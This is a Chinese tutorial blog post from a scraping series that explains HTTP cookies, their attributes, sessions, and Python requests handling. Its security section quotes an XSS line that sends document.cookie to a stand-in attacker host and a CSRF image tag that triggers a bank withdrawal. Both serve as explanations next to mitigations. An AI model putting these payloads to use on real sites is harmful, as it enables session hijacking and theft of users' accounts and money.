Cookie起源與發展
上一篇我們在講優酷彈幕爬蟲的時候,引入了一個新的知識點:Cookie,由於篇幅有限當時只是簡單的給大家介紹了一下它的作用,今天我們就來全面瞭解一下Cookie(小餅乾)以及相關的知識!
相信很多同學肯定聽過Cookie這個東西,也大概瞭解其作用,但是其原理以及如何設定,可能沒有做過web的同學並不是非常清楚,那今天豬哥就帶大家詳細瞭解下Cookie相關的知識!
一、誕生背景
爬蟲系列教程的第一篇:HTTP詳解中我們便說過HTTP的五大特點,而其中之一便是:無狀態
> HTTP無狀態:伺服器無法知道兩個請求是否來自同一個瀏覽器,即伺服器不知道使用者上一次做了什麼,每次請求都是完全相互獨立。
早期網際網路只是用於簡單的瀏覽文件資訊、檢視黃葉、入口網站等等,並沒有互動這個說法。但是隨著網際網路慢慢發展,寬頻、伺服器等硬體設施已經得到很大的提升,網際網路允許人們可以做更多的事情,所以互動式Web慢慢興起,而HTTP無狀態的特點卻嚴重阻礙其發展!
> 互動式Web:客戶端與伺服器可以互動,如使用者登入,購買商品,各種論壇等等
不能記錄使用者上一次做了什麼,怎麼辦?聰明的程式設計師們就開始思考:怎麼樣才能記錄使用者上一次的操作資訊呢?於是有人就想到了隱藏域。
> 隱藏域寫法:<input type="hidden" name="field_name" value="value">
這樣把使用者上一次操作記錄放在form表單的input中,這樣請求時將表單提交不就知道上一次使用者的操作,但是這樣每次都得建立隱藏域而且得賦值太麻煩,而且容易出錯!
ps:隱藏域作用強大,時至今日都有很多人在用它解決各種問題!
網景公司當時一名員工Lou Montulli(盧-蒙特利),在1994年將“cookies”的概念應用於網路通訊,用來解決使用者網上購物的購物車歷史記錄,而當時最強大的瀏覽器正是網景瀏覽器,在網景瀏覽器的支援下其他瀏覽器也漸漸開始支援Cookie,到目前所有瀏覽器都支援Cookie了。
二、Cookie是什麼
前面我們已經知道了Cookie的誕生是為了解決HTTP無狀態的特性無法滿足互動式web
> Cookie是由伺服器發給客戶端的特殊資訊,而這些資訊以文字檔案的方式存放在客戶端,然後客戶端每次向伺服器傳送請求的時候都會帶上這些特殊的資訊,用於伺服器記錄客戶端的狀態。
Cookie主要用於以下三個方面:
- 會話狀態管理(如使用者登入狀態、購物車、遊戲分數或其它需要記錄的資訊)
- 個性化設定(如使用者自定義設定、主題等)
- 瀏覽器行為跟蹤(如跟蹤分析使用者行為等)
三、Cookie原理
我們在瞭解了Cookie是由伺服器發出儲存在瀏覽器的特殊資訊,那具體是怎麼樣的一個過程呢?為了大家便於理解,豬哥就以使用者登入為例子為大家畫了一幅Cookie原理圖
使用者在輸入使用者名稱和密碼之後,瀏覽器將使用者名稱和密碼傳送給伺服器,伺服器進行驗證,驗證通過之後將使用者資訊加密後封裝成Cookie放在請求頭中返回給瀏覽器。
HTTP/1.1 200 OK
Content-type: text/html
Set-Cookie: user_cookie=Rg3vHJZnehYLjVg7qi3bZjzg; Expires=Tue, 15 Aug 2019 21:47:38 GMT; Path=/; Domain=.169it.com; HttpOnly
[響應體]
瀏覽器收到伺服器返回資料,發現請求頭中有一個:Set-Cookie,然後它就把這個Cookie儲存起來,下次瀏覽器再請求伺服器的時候,會把Cookie也放在請求頭中傳給伺服器:
GET /sample_page.html HTTP/1.1
Host: www.example.org
Cookie: user_cookie=Rg3vHJZnehYLjVg7qi3bZjzg
伺服器收到請求後從請求頭中拿到cookie,然後解析併到使用者資訊,說明此使用者已登入,Cookie是將資料儲存在客戶端的。
這裡我們可以看到,使用者資訊是儲存在Cookie中,也就相當於是儲存在瀏覽器中,那就說使用者可以隨意修改使用者資訊,這是一種不安全的策略!
強調一點:Cookie無論是伺服器發給瀏覽器還是瀏覽器發給伺服器,都是放在請求頭中的!
四、Cookie屬性
下圖中我們可以看到一個Cookie有:Name、Value、Domain、Path、Expires/Max-Age、Size、HTTP、Secure這些屬性,那這些屬性分別都有什麼作用呢?我們來看看
1. Name&Value
Name表示Cookie的名稱,伺服器就是通過name屬性來獲取某個Cookie值。
Value表示Cookie 的值,大多數情況下伺服器會把這個value當作一個key去快取中查詢儲存的資料。
2.Domain&Path
Domain表示可以訪問此cookie的域名,下圖我們以百度貼吧頁的Cookie來講解一下Domain屬性。 從上圖中我們可以看出domain有:.baidu.com 頂級域名和**.teiba.baidu.com**的二級域名,所以這裡就會有一個訪問規則:頂級域名只能設定或訪問頂級域名的Cookie,二級及以下的域名只能訪問或設定自身或者頂級域名的Cookie,所以如果要在多個二級域名中共享Cookie的話,只能將Domain屬性設定為頂級域名!
Path表示可以訪問此cookie的頁面路徑。 比如path=/test,那麼只有/test路徑下的頁面可以讀取此cookie。
3.Expires/Max-Age
Expires/Max-Age表示此cookie超時時間。若設定其值為一個時間,那麼當到達此時間後,此cookie失效。不設定的話預設值是Session,意思是cookie會和session一起失效。當瀏覽器關閉(不是瀏覽器標籤頁,而是整個瀏覽器) 後,此cookie失效。
提示:當Cookie的過期時間被設定時,設定的日期和時間只與客戶端相關,而不是服務端。
4.Size
Size表示Cookie的name+value的字元數,比如又一個Cookie:id=666,那麼Size=2+3=5 。
另外每個瀏覽器對Cookie的支援都不相同
5.HTTP
HTTP表示cookie的httponly屬性。若此屬性為true,則只有在http請求頭中會帶有此cookie的資訊,而不能通過document.cookie來訪問此cookie。 設計該特徵意在提供一個安全措施來幫助阻止通過Javascript發起的跨站指令碼攻擊(XSS)竊取cookie的行為
6.Secure
Secure表示是否只能通過https來傳遞此條cookie。不像其它選項,該選項只是一個標記並且沒有其它的值。
這種cookie的內容意指具有很高的價值並且可能潛在的被破解以純文字形式傳輸。
五、Python操作Cookie
1.生成Cookie
前面我們說過Cookie是由服務端生成的,那如何用Python程式碼來生成呢? 從上圖登入程式碼中我們看到,在簡單的驗證使用者名稱和密碼之後,伺服器跳轉到/user,然後set了一個cookie,瀏覽器收到響應後發現請求頭中有一個:Cookie: user_cookie=Rg3vHJZnehYLjVg7qi3bZjzg,然後瀏覽器就會將這個Cookie儲存起來!
2.獲取Cookie
最近我們一直在講requests模組,這裡我們就用requests模組來獲取Cookie。 r.cookies表示獲取所有cookie,get_dict()函式表示返回的是字典格式cookie。
3.設定Cookie
上篇我們爬取優酷彈幕的文章中便是用了requests模組設定Cookie 我們就瀏覽器複製過來的Cookie放在程式碼中,這樣便可以順利的偽裝成瀏覽器,然後正常爬取資料,複製Cookie是爬蟲中常用的一種手段!
六、Session
1.誕生背景
其實在Cookie設計之初,並不像豬哥講的那樣Cookie只儲存一個key,而是直接儲存使用者資訊,剛開始大家認為這樣用起來很爽,但是由於cookie 是存在使用者端,而且它本身儲存的尺寸大小也有限,最關鍵是使用者可以是可見的,並可以隨意的修改,很不安全。那如何又要安全,又可以方便的全域性讀取資訊呢?於是,這個時候,一種新的儲存會話機制:Session 誕生了。
2.Session是什麼
Session翻譯為會話,伺服器為每個瀏覽器建立的一個會話物件,瀏覽器在第一次請求伺服器,伺服器便會為這個瀏覽器生成一個Session物件,儲存在服務端,並且把Session的Id以cookie的形式傳送給客戶端瀏覽,而以使用者顯式結束或session超時為結束。
我們來看看Session工作原理:
- 當一個使用者向伺服器傳送第一個請求時,伺服器為其建立一個session,併為此session建立一個標識號(sessionID)。
- 這個使用者隨後的所有請求都應包括這個標識號(sessionID)。伺服器會校對這個標識號以判斷請求屬於哪個session。
對於session標識號(sessionID),有兩種方式實現:Cookie和URL重寫,豬哥就以Cookie的實現防水畫一個Session原理圖 聯絡cookie原理圖我們可以看到,Cookie是將資料直接儲存在客戶端,而Session是將資料儲存在服務端,就安全性來講Session更好!
3.Python操作Session
後面豬哥將會以登入的例子來講解如何用Python程式碼操作Session
七、面試場景
1.Cookie和Session關係
- 都是為了實現客戶端與服務端互動而產出
- Cookie是儲存在客戶端,缺點易偽造、不安全
- Session是儲存在服務端,會消耗伺服器資源
- Session實現有兩種方式:Cookie和URL重寫
2.Cookie帶來的安全性問題
- 會話劫持和XSS:在Web應用中,Cookie常用來標記使用者或授權會話。因此,如果Web應用的Cookie被竊取,可能導致授權使用者的會話受到攻擊。常用的竊取Cookie的方法有利用社會工程學攻擊和利用應用程式漏洞進行XSS攻擊。
(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;
HttpOnly型別的Cookie由於阻止了JavaScript對其的訪問性而能在一定程度上緩解此類攻擊。 - 跨站請求偽造(CSRF):維基百科已經給了一個比較好的CSRF例子。比如在不安全聊天室或論壇上的一張圖片,它實際上是一個給你銀行伺服器傳送提現的請求:
<img src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory">
當你開啟含有了這張圖片的HTML頁面時,如果你之前已經登入了你的銀行帳號並且Cookie仍然有效(還沒有其它驗證步驟),你銀行裡的錢很可能會被自動轉走。解決CSRF的辦法有:隱藏域驗證碼、確認機制、較短的Cookie生命週期等
八、總結
今天為大家講解了Cookie的相關知識,以及如何使用requests模組操作Cookie,最後順便提了一下Cookie與Session的關係以及Cookie存在哪些安全問題。希望大家能對Cookie(小餅乾)能有個全面的瞭解,這樣對你在今後的爬蟲學習中會